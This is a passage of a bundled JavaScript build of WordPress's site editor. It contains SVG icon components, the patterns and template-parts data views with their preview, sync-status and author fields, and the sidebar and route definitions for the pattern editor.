    d: "m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z"
  })
});
/* harmony default export */ const library_pencil = (pencil);

;// ./node_modules/@wordpress/icons/build-module/library/edit.js
/**
 * Internal dependencies
 */


/* harmony default export */ const edit = (library_pencil);

;// ./node_modules/@wordpress/edit-site/build-module/components/dataviews-actions/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const {
  useHistory: dataviews_actions_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const useEditPostAction = () => {
  const history = dataviews_actions_useHistory();
  return (0,external_wp_element_namespaceObject.useMemo)(() => ({
    id: 'edit-post',
    label: (0,external_wp_i18n_namespaceObject.__)('Edit'),
    isPrimary: true,
    icon: edit,
    isEligible(post) {
      if (post.status === 'trash') {
        return false;
      }
      // It's eligible for all post types except theme patterns.
      return post.type !== PATTERN_TYPES.theme;
    },
    callback(items) {
      const post = items[0];
      history.navigate(`/${post.type}/${post.id}?canvas=edit`);
    }
  }), [history]);
};

;// ./node_modules/@wordpress/icons/build-module/library/plugins.js
/**
 * WordPress dependencies
 */


const plugins = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z"
  })
});
/* harmony default export */ const library_plugins = (plugins);

;// ./node_modules/@wordpress/icons/build-module/library/globe.js
/**
 * WordPress dependencies
 */


const globe = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 3.3c-4.8 0-8.8 3.9-8.8 8.8 0 4.8 3.9 8.8 8.8 8.8 4.8 0 8.8-3.9 8.8-8.8s-4-8.8-8.8-8.8zm6.5 5.5h-2.6C15.4 7.3 14.8 6 14 5c2 .6 3.6 2 4.5 3.8zm.7 3.2c0 .6-.1 1.2-.2 1.8h-2.9c.1-.6.1-1.2.1-1.8s-.1-1.2-.1-1.8H19c.2.6.2 1.2.2 1.8zM12 18.7c-1-.7-1.8-1.9-2.3-3.5h4.6c-.5 1.6-1.3 2.9-2.3 3.5zm-2.6-4.9c-.1-.6-.1-1.1-.1-1.8 0-.6.1-1.2.1-1.8h5.2c.1.6.1 1.1.1 1.8s-.1 1.2-.1 1.8H9.4zM4.8 12c0-.6.1-1.2.2-1.8h2.9c-.1.6-.1 1.2-.1 1.8 0 .6.1 1.2.1 1.8H5c-.2-.6-.2-1.2-.2-1.8zM12 5.3c1 .7 1.8 1.9 2.3 3.5H9.7c.5-1.6 1.3-2.9 2.3-3.5zM10 5c-.8 1-1.4 2.3-1.8 3.8H5.5C6.4 7 8 5.6 10 5zM5.5 15.3h2.6c.4 1.5 1 2.8 1.8 3.7-1.8-.6-3.5-2-4.4-3.7zM14 19c.8-1 1.4-2.2 1.8-3.7h2.6C17.6 17 16 18.4 14 19z"
  })
});
/* harmony default export */ const library_globe = (globe);

;// ./node_modules/@wordpress/icons/build-module/library/comment-author-avatar.js
/**
 * WordPress dependencies
 */


const commentAuthorAvatar = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    d: "M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z",
    clipRule: "evenodd"
  })
});
/* harmony default export */ const comment_author_avatar = (commentAuthorAvatar);

;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/hooks.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/** @typedef {'wp_template'|'wp_template_part'} TemplateType */

/**
 * @typedef {'theme'|'plugin'|'site'|'user'} AddedByType
 *
 * @typedef AddedByData
 * @type {Object}
 * @property {AddedByType}  type         The type of the data.
 * @property {JSX.Element}  icon         The icon to display.
 * @property {string}       [imageUrl]   The optional image URL to display.
 * @property {string}       [text]       The text to display.
 * @property {boolean}      isCustomized Whether the template has been customized.
 *
 * @param    {TemplateType} postType     The template post type.
 * @param    {number}       postId       The template post id.
 * @return {AddedByData} The added by object or null.
 */
function useAddedBy(postType, postId) {
  return (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      getMedia,
      getUser,
      getEditedEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const template = getEditedEntityRecord('postType', postType, postId);
    const originalSource = template?.original_source;
    const authorText = template?.author_text;
    switch (originalSource) {
      case 'theme':
        {
          return {
            type: originalSource,
            icon: library_layout,
            text: authorText,
            isCustomized: template.source === TEMPLATE_ORIGINS.custom
          };
        }
      case 'plugin':
        {
          return {
            type: originalSource,
            icon: library_plugins,
            text: authorText,
            isCustomized: template.source === TEMPLATE_ORIGINS.custom
          };
        }
      case 'site':
        {
          const siteData = getEntityRecord('root', '__unstableBase');
          return {
            type: originalSource,
            icon: library_globe,
            imageUrl: siteData?.site_logo ? getMedia(siteData.site_logo)?.source_url : undefined,
            text: authorText,
            isCustomized: false
          };
        }
      default:
        {
          const user = getUser(template.author);
          return {
            type: 'user',
            icon: comment_author_avatar,
            imageUrl: user?.avatar_urls?.[48],
            text: authorText,
            isCustomized: false
          };
        }
    }
  }, [postType, postId]);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/fields.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */




const {
  useGlobalStyle: fields_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function PreviewField({
  item
}) {
  const descriptionId = (0,external_wp_element_namespaceObject.useId)();
  const description = item.description || item?.excerpt?.raw;
  const isTemplatePart = item.type === TEMPLATE_PART_POST_TYPE;
  const [backgroundColor] = fields_useGlobalStyle('color.background');
  const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
    var _item$blocks;
    return (_item$blocks = item.blocks) !== null && _item$blocks !== void 0 ? _item$blocks : (0,external_wp_blocks_namespaceObject.parse)(item.content.raw, {
      __unstableSkipMigrationLogs: true
    });
  }, [item?.content?.raw, item.blocks]);
  const isEmpty = !blocks?.length;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "page-patterns-preview-field",
    style: {
      backgroundColor
    },
    "aria-describedby": !!description ? descriptionId : undefined,
    children: [isEmpty && isTemplatePart && (0,external_wp_i18n_namespaceObject.__)('Empty template part'), isEmpty && !isTemplatePart && (0,external_wp_i18n_namespaceObject.__)('Empty pattern'), !isEmpty && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview.Async, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview, {
        blocks: blocks,
        viewportWidth: item.viewportWidth
      })
    }), !!description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      hidden: true,
      id: descriptionId,
      children: description
    })]
  });
}
const previewField = {
  label: (0,external_wp_i18n_namespaceObject.__)('Preview'),
  id: 'preview',
  render: PreviewField,
  enableSorting: false
};
const SYNC_FILTERS = [{
  value: PATTERN_SYNC_TYPES.full,
  label: (0,external_wp_i18n_namespaceObject._x)('Synced', 'pattern (singular)'),
  description: (0,external_wp_i18n_namespaceObject.__)('Patterns that are kept in sync across the site.')
}, {
  value: PATTERN_SYNC_TYPES.unsynced,
  label: (0,external_wp_i18n_namespaceObject._x)('Not synced', 'pattern (singular)'),
  description: (0,external_wp_i18n_namespaceObject.__)('Patterns that can be changed freely without affecting the site.')
}];
const patternStatusField = {
  label: (0,external_wp_i18n_namespaceObject.__)('Sync status'),
  id: 'sync-status',
  render: ({
    item
  }) => {
    const syncStatus = 'wp_pattern_sync_status' in item ? item.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full : PATTERN_SYNC_TYPES.unsynced;
    // User patterns can have their sync statuses checked directly.
    // Non-user patterns are all unsynced for the time being.
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: `edit-site-patterns__field-sync-status-${syncStatus}`,
      children: SYNC_FILTERS.find(({
        value
      }) => value === syncStatus).label
    });
  },
  elements: SYNC_FILTERS,
  filterBy: {
    operators: [OPERATOR_IS],
    isPrimary: true
  },
  enableSorting: false
};
function AuthorField({
  item
}) {
  const [isImageLoaded, setIsImageLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    text,
    icon,
    imageUrl
  } = useAddedBy(item.type, item.id);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    alignment: "left",
    spacing: 0,
    children: [imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx('page-templates-author-field__avatar', {
        'is-loaded': isImageLoaded
      }),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
        onLoad: () => setIsImageLoaded(true),
        alt: "",
        src: imageUrl
      })
    }), !imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "page-templates-author-field__icon",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
        icon: icon
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "page-templates-author-field__name",
      children: text
    })]
  });
}
const templatePartAuthorField = {
  label: (0,external_wp_i18n_namespaceObject.__)('Author'),
  id: 'author',
  getValue: ({
    item
  }) => item.author_text,
  render: AuthorField,
  filterBy: {
    isPrimary: true
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/index.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */









const {
  ExperimentalBlockEditorProvider: page_patterns_ExperimentalBlockEditorProvider
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  usePostActions,
  patternTitleField
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  useLocation: page_patterns_useLocation,
  useHistory: page_patterns_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const page_patterns_EMPTY_ARRAY = [];
const defaultLayouts = {
  [LAYOUT_TABLE]: {
    layout: {
      styles: {
        author: {
          width: '1%'
        }
      }
    }
  },
  [LAYOUT_GRID]: {
    layout: {
      badgeFields: ['sync-status']
    }
  }
};
const DEFAULT_VIEW = {
  type: LAYOUT_GRID,
  search: '',
  page: 1,
  perPage: 20,
  titleField: 'title',
  mediaField: 'preview',
  fields: ['sync-status'],
  filters: [],
  ...defaultLayouts[LAYOUT_GRID]
};
function DataviewsPatterns() {
  const {
    query: {
      postType = 'wp_block',
      categoryId: categoryIdFromURL
    }
  } = page_patterns_useLocation();
  const history = page_patterns_useHistory();
  const categoryId = categoryIdFromURL || PATTERN_DEFAULT_CATEGORY;
  const [view, setView] = (0,external_wp_element_namespaceObject.useState)(DEFAULT_VIEW);
  const previousCategoryId = (0,external_wp_compose_namespaceObject.usePrevious)(categoryId);
  const previousPostType = (0,external_wp_compose_namespaceObject.usePrevious)(postType);
  const viewSyncStatus = view.filters?.find(({
    field
  }) => field === 'sync-status')?.value;
  const {
    patterns,
    isResolving
  } = use_patterns(postType, categoryId, {
    search: view.search,
    syncStatus: viewSyncStatus
  });
  const {
    records
  } = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', TEMPLATE_PART_POST_TYPE, {
    per_page: -1
  });
  const authors = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!records) {
      return page_patterns_EMPTY_ARRAY;
    }
    const authorsSet = new Set();
    records.forEach(template => {
      authorsSet.add(template.author_text);
    });
    return Array.from(authorsSet).map(author => ({
      value: author,
      label: author
    }));
  }, [records]);
  const fields = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const _fields = [previewField, patternTitleField];
    if (postType === PATTERN_TYPES.user) {
      _fields.push(patternStatusField);
    } else if (postType === TEMPLATE_PART_POST_TYPE) {
      _fields.push({
        ...templatePartAuthorField,
        elements: authors
      });
    }
    return _fields;
  }, [postType, authors]);

  // Reset the page number when the category changes.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (previousCategoryId !== categoryId || previousPostType !== postType) {
      setView(prevView => ({
        ...prevView,
        page: 1
      }));
    }
  }, [categoryId, previousCategoryId, previousPostType, postType]);
  const {
    data,
    paginationInfo
  } = (0,external_wp_element_namespaceObject.useMemo)(() => {
    // Search is managed server-side as well as filters for patterns.
    // However, the author filter in template parts is done client-side.
    const viewWithoutFilters = {
      ...view
    };
    delete viewWithoutFilters.search;
    if (postType !== TEMPLATE_PART_POST_TYPE) {
      viewWithoutFilters.filters = [];
    }
    return filterSortAndPaginate(patterns, viewWithoutFilters, fields);
  }, [patterns, view, fields, postType]);
  const dataWithPermissions = useAugmentPatternsWithPermissions(data);
  const templatePartActions = usePostActions({
    postType: TEMPLATE_PART_POST_TYPE,
    context: 'list'
  });
  const patternActions = usePostActions({
    postType: PATTERN_TYPES.user,
    context: 'list'
  });
  const editAction = useEditPostAction();
  const actions = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (postType === TEMPLATE_PART_POST_TYPE) {
      return [editAction, ...templatePartActions].filter(Boolean);
    }
    return [editAction, ...patternActions].filter(Boolean);
  }, [editAction, postType, templatePartActions, patternActions]);
  const id = (0,external_wp_element_namespaceObject.useId)();
  const settings = usePatternSettings();
  // Wrap everything in a block editor provider.
  // This ensures 'styles' that are needed for the previews are synced
  // from the site editor store to the block editor store.
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(page_patterns_ExperimentalBlockEditorProvider, {
    settings: settings,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Page, {
      title: (0,external_wp_i18n_namespaceObject.__)('Patterns content'),
      className: "edit-site-page-patterns-dataviews",
      hideTitleFromUI: true,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternsHeader, {
        categoryId: categoryId,
        type: postType,
        titleId: `${id}-title`,
        descriptionId: `${id}-description`
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViews, {
        paginationInfo: paginationInfo,
        fields: fields,
        actions: actions,
        data: dataWithPermissions || page_patterns_EMPTY_ARRAY,
        getItemId: item => {
          var _item$name;
          return (_item$name = item.name) !== null && _item$name !== void 0 ? _item$name : item.id;
        },
        isLoading: isResolving,
        isItemClickable: item => item.type !== PATTERN_TYPES.theme,
        onClickItem: item => {
          history.navigate(`/${item.type}/${[PATTERN_TYPES.user, TEMPLATE_PART_POST_TYPE].includes(item.type) ? item.id : item.name}?canvas=edit`);
        },
        view: view,
        onChangeView: setView,
        defaultLayouts: defaultLayouts
      }, categoryId + postType)]
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/patterns.js
/**
 * Internal dependencies
 */




const patternsRoute = {
  name: 'patterns',
  path: '/pattern',
  areas: {
    sidebar({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? '/' : undefined;
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, {
        backPath: backPath
      });
    },
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsPatterns, {}),
    mobile({
      siteData,
      query
    }) {
      const {
        categoryId
      } = query;
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? '/' : undefined;
      return !!categoryId ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsPatterns, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, {
        backPath: backPath
      });
    }
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/pattern-item.js
/**
 * Internal dependencies
 */




const patternItemRoute = {
  name: 'pattern-item',
  path: '/wp_block/:postId',
  areas: {
    sidebar({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? '/' : undefined;
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, {
        backPath: backPath
      });
    },
    mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}),
    preview: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {})
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/template-part-item.js
/**
 * Internal dependencies
 */



const templatePartItemRoute = {
  name: 'template-part-item',
  path: '/wp_template_part/*postId',
  areas: {
    sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, {
      backPath: "/"
    }),
    mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}),
    preview: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {})
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/content.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */






const {
  useLocation: content_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const content_EMPTY_ARRAY = [];
function TemplateDataviewItem({
  template,
  isActive
}) {
  const {
    text,
    icon
  } = useAddedBy(template.type, template.id);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
    to: (0,external_wp_url_namespaceObject.addQueryArgs)('/template', {
      activeView: text
    }),
    icon: icon,
    "aria-current": isActive,
    children: text
  });
}
function DataviewsTemplatesSidebarContent() {
  const {
    query: {
      activeView = 'all'
    }
  } = content_useLocation();
  const {
    records
  } = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', TEMPLATE_POST_TYPE, {
    per_page: -1
  });
  const firstItemPerAuthorText = (0,external_wp_element_namespaceObject.useMemo)(() => {
    var _ref;
    const firstItemPerAuthor = records?.reduce((acc, template) => {
      const author = template.author_text;
      if (author && !acc[author]) {
        acc[author] = template;
      }
      return acc;
    }, {});
    return (_ref = firstItemPerAuthor && Object.values(firstItemPerAuthor)) !== null && _ref !== void 0 ? _ref : content_EMPTY_ARRAY;
  }, [records]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
    className: "edit-site-sidebar-navigation-screen-templates-browse",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
      to: "/template",
      icon: library_layout,
      "aria-current": activeView === 'all',
      children: (0,external_wp_i18n_namespaceObject.__)('All templates')
    }), firstItemPerAuthorText.map(template => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateDataviewItem, {
        template: template,
        isActive: activeView === template.author_text
      }, template.author_text);
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



function SidebarNavigationScreenTemplatesBrowse({
  backPath
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
    title: (0,external_wp_i18n_namespaceObject.__)('Templates'),
    description: (0,external_wp_i18n_namespaceObject.__)('Create new templates, or reset any customizations made to the templates supplied by your theme.'),
    backPath: backPath,
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsTemplatesSidebarContent, {})
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/home.js
/**
 * WordPress dependencies
 */


const home = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z"
  })
});
/* harmony default export */ const library_home = (home);

;// ./node_modules/@wordpress/icons/build-module/library/verse.js
/**
 * WordPress dependencies
 */


const verse = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z"
  })
});
/* harmony default export */ const library_verse = (verse);

;// ./node_modules/@wordpress/icons/build-module/library/pin.js
/**
 * WordPress dependencies
 */


const pin = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m21.5 9.1-6.6-6.6-4.2 5.6c-1.2-.1-2.4.1-3.6.7-.1 0-.1.1-.2.1-.5.3-.9.6-1.2.9l3.7 3.7-5.7 5.7v1.1h1.1l5.7-5.7 3.7 3.7c.4-.4.7-.8.9-1.2.1-.1.1-.2.2-.3.6-1.1.8-2.4.6-3.6l5.6-4.1zm-7.3 3.5.1.9c.1.9 0 1.8-.4 2.6l-6-6c.8-.4 1.7-.5 2.6-.4l.9.1L15 4.9 19.1 9l-4.9 3.6z"
  })
});
/* harmony default export */ const library_pin = (pin);

;// ./node_modules/@wordpress/icons/build-module/library/archive.js
/**
 * WordPress dependencies
 */


const archive = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M11.934 7.406a1 1 0 0 0 .914.594H19a.5.5 0 0 1 .5.5v9a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h5.764a.5.5 0 0 1 .447.276l.723 1.63Zm1.064-1.216a.5.5 0 0 0 .462.31H19a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h5.764a2 2 0 0 1 1.789 1.106l.445 1.084ZM8.5 10.5h7V12h-7v-1.5Zm7 3.5h-7v1.5h7V14Z"
  })
});
/* harmony default export */ const library_archive = (archive);

;// ./node_modules/@wordpress/icons/build-module/library/not-found.js
/**
 * WordPress dependencies
 */


const notFound = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm.5 12c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v10zm-11-7.6h-.7l-3.1 4.3h2.8V15h1v-1.3h.7v-.8h-.7V9.4zm-.9 3.5H6.3l1.2-1.7v1.7zm5.6-3.2c-.4-.2-.8-.4-1.2-.4-.5 0-.9.1-1.2.4-.4.2-.6.6-.8 1-.2.4-.3.9-.3 1.5s.1 1.1.3 1.6c.2.4.5.8.8 1 .4.2.8.4 1.2.4.5 0 .9-.1 1.2-.4.4-.2.6-.6.8-1 .2-.4.3-1 .3-1.6 0-.6-.1-1.1-.3-1.5-.1-.5-.4-.8-.8-1zm0 3.6c-.1.3-.3.5-.5.7-.2.1-.4.2-.7.2-.3 0-.5-.1-.7-.2-.2-.1-.4-.4-.5-.7-.1-.3-.2-.7-.2-1.2 0-.7.1-1.2.4-1.5.3-.3.6-.5 1-.5s.7.2 1 .5c.3.3.4.8.4 1.5-.1.5-.1.9-.2 1.2zm5-3.9h-.7l-3.1 4.3h2.8V15h1v-1.3h.7v-.8h-.7V9.4zm-1 3.5H16l1.2-1.7v1.7z"
  })
});
/* harmony default export */ const not_found = (notFound);

;// ./node_modules/@wordpress/icons/build-module/library/list.js
/**
 * WordPress dependencies
 */


const list = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z"
  })
});
/* harmony default export */ const library_list = (list);

;// ./node_modules/@wordpress/icons/build-module/library/block-meta.js
/**
 * WordPress dependencies
 */


const blockMeta = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    d: "M8.95 11.25H4v1.5h4.95v4.5H13V18c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75h-2.55v-7.5H13V9c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75H8.95v4.5ZM14.5 15v3c0 .3.2.5.5.5h3c.3 0 .5-.2.5-.5v-3c0-.3-.2-.5-.5-.5h-3c-.3 0-.5.2-.5.5Zm0-6V6c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5Z",
    clipRule: "evenodd"
  })
});
/* harmony default export */ const block_meta = (blockMeta);

;// ./node_modules/@wordpress/icons/build-module/library/calendar.js
/**
 * WordPress dependencies
 */


const calendar = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z"
  })
});
/* harmony default export */ const library_calendar = (calendar);

